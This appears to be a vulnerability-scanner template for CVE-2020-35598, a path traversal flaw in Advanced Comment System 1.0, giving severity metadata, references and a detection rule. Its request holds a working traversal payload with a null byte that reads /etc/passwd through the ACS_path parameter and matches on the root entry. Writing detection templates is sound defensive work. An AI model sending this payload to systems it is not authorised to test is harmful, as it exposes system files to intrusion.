id: CVE-2020-35598

info:
  name: Advanced Comment System 1.0 - Path Traversal
  author: daffainfo
  severity: high
  description: ACS Advanced Comment System 1.0 is affected by Directory Traversal via an advanced_component_system/index.php?ACS_path=..%2f URI.
  reference:
    - https://www.exploit-db.com/exploits/49343
    - https://www.cvedetails.com/cve/CVE-2020-35598
    - https://seclists.org/fulldisclosure/2020/Dec/13
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-35598
    cwe-id: CWE-22
  tags: cve,cve2020,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200